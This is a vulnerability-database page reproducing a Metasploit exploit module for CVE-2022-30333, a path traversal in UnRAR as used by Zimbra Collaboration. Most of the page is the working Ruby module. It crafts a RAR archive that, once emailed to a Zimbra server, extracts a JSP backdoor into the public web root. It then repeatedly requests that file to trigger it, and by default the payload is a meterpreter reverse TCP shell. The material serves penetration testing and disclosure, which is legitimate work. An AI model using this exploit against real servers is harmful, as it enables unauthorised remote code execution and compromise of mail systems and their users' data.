Lucene search
K

Zimbra UnRAR Path Traversal

🗓️ 05 Aug 2022 00:00:00Reported by Ron Bowes, Simon Scannell, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 395 Views

Zimbra UnRAR Path Traversal exploit (CVE-2022-30333) plants JSP backdoor in public web directory on Linu

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Format::RarSymlinkPathTraversal  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',  
'Description' => %q{  
This module creates a RAR file that can be emailed to a Zimbra server  
to exploit CVE-2022-30333. If successful, it plants a JSP-based  
backdoor in the public web directory, then executes that backdoor.  
  
The core vulnerability is a path-traversal issue in unRAR that can  
extract an arbitrary file to an arbitrary location on a Linux system.  
  
This issue is exploitable on the following versions of Zimbra, provided  
UnRAR version 6.11 or earlier is installed:  
  
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)  
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)  
},  
'Author' => [  
'Simon Scannell', # Discovery / initial disclosure (via Sonar)  
'Ron Bowes', # Analysis, PoC, and module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-30333'],  
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],  
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],  
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'],  
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'],  
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],  
],  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [  
[ 'Zimbra Collaboration Suite', {} ]  
],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',  
'TARGET_FILENAME' => nil,  
'DisablePayloadHandler' => false,  
'RPORT' => 443,  
'SSL' => true  
},  
'Stance' => Msf::Exploit::Stance::Passive,  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => '2022-06-28',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),  
  
# Separating the path, filename, and extension allows us to randomize the filename  
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),  
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),  
]  
)  
  
register_advanced_options(  
[  
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),  
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),  
  
# Took this from multi/handler  
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),  
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])  
]  
)  
end  
  
# Generate an on-system filename using datastore options  
def generate_target_filename  
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')  
print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?')  
end  
  
File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")  
end  
  
# Normalize the path traversal and figure out where it is relative to the web root  
def zimbra_get_public_path(target_filename)  
# Normalize the path  
normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath  
  
# Figure out where it is, relative to the webroot  
webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')  
relative_path = normalized_path.relative_path_from(webroot)  
  
# Hopefully, we found a path from the webroot to the payload!  
if relative_path.to_s.start_with?('../')  
return nil  
end  
  
relative_path  
end  
  
def exploit  
print_status('Encoding the payload as a .jsp file')  
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)  
  
# Create a file  
target_filename = generate_target_filename  
print_status("Target filename: #{target_filename}")  
  
begin  
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)  
rescue StandardError => e  
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")  
end  
  
file_create(rar)  
  
print_good('File created! Email the file above to any user on the target Zimbra server')  
  
# Bail if they don't want the payload triggered  
return unless datastore['TRIGGER_PAYLOAD']  
  
# Get the public path for triggering the vulnerability, terminate if we  
# can't figure it out  
public_filename = zimbra_get_public_path(target_filename)  
if public_filename.nil?  
print_warning('Could not determine the public web path, disabling payload triggering')  
return  
end  
  
register_file_for_cleanup(target_filename)  
  
interval = datastore['CheckInterval'].to_i  
print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")  
  
# This loop is mostly from `multi/handler`  
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i  
timeout = datastore['ListenerTimeout'].to_i  
loop do  
break if session_created?  
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(public_filename)  
)  
  
unless res  
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')  
end  
  
Rex::ThreadSafe.sleep(interval)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation